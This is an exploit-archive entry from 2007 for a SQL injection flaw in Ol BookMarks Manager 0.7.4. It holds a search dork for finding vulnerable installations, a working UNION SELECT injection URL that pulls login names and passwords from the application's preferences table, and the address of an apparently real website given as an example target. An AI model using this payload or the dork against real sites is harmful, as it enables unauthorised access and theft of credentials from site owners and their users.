Ol BookMarks Manager 0.7.4 - SQL Injection

2007-05-21T00:00:00
ID EXPLOITPACK:F0A8E4B4A33D00679DDED51CCE9AC6C7
Type exploitpack
Reporter Mehmet Ince
Modified 2007-05-21T00:00:00

Description

Ol BookMarks Manager 0.7.4 - SQL Injection

                                        
                                            ==========================================================================

Ol Bookmarks Manager 0.7.4 (root) Remote SQL Injection Vulnerabilities

==========================================================================

Found by: Cyber-Security

==========================================================================

D0rk : allintitle:ol'bookmarks

==========================================================================

Download: http://mesh.dl.sourceforge.net/sourceforge/olbookmarks/olbookmarks-0.7.4.tar.gz

==========================================================================

/read/index.php?name=alex&id=-1/**/union/**/select/**/0,1,2,3,4,5,password,login,8,9,10,11,12/**/from/**/preferences/*

Example: http://www.blex.co.uk/bookmarks

==========================================================================
thanx: ThE TiGeR couse he found RFI to this script:)
==========================================================================

# milw0rm.com [2007-05-21]